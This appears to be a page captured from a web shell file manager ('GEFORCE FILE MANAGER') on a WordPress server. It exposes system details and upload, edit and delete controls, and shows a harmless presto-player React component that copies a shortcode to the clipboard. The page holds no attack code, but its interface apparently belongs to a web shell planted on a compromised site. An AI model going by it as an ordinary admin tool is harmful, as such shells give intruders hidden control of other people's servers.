[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
src
/
admin
/
blocks
/
plugins
/
reusable-videos
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 ShortcodeInput.js
1,992 B
SET
[ EDIT ]
|
[ DEL ]
📄 Video.js
567 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: ShortcodeInput.js
import { __ } from "@wordpress/i18n"; import { PanelBody } from "@wordpress/components"; async function copyTextToClipboard(e) { let textToCopy = document.getElementById("presto-shortcode-input").value; let btn = e.currentTarget; let buttonText = btn.textContent; e.currentTarget.textContent = __("Copied!", "presto-player"); setTimeout(() => { btn.textContent = buttonText; }, 1500); if (navigator.clipboard && window.isSecureContext) { // navigator clipboard api method' return navigator.clipboard.writeText(textToCopy); } else { // text area method for older OR non secure URL pages. let textArea = document.createElement("textarea"); textArea.value = textToCopy; // make the textarea out of viewport textArea.style.position = "fixed"; textArea.style.left = "-999999px"; textArea.style.top = "-999999px"; document.body.appendChild(textArea); textArea.focus(); textArea.select(); return new Promise((res, rej) => { document.execCommand("copy") ? res() : rej(); textArea.remove(); }); } } function InserterShortcodeInput() { return ( <PanelBody title={__("Timestamp Shortcode", "presto-player")} initialOpen={false} > <div className={"block-editor-inserter__shortcode-input"}> <p> {__( "Add convenient links to skip the player to a specific timestamp.", "presto-player" )} </p> <input id="presto-shortcode-input" style={{ width: "100%", fontSize: "11px", marginBottom: "10px" }} type="text" readOnly value='[pptime time="1:00"]Optional Text[/pptime]' /> <button type="button" className="components-button is-primary" onClick={copyTextToClipboard} > {__("Copy to clipboard", "presto-player")} </button> </div> </PanelBody> ); } export default InserterShortcodeInput;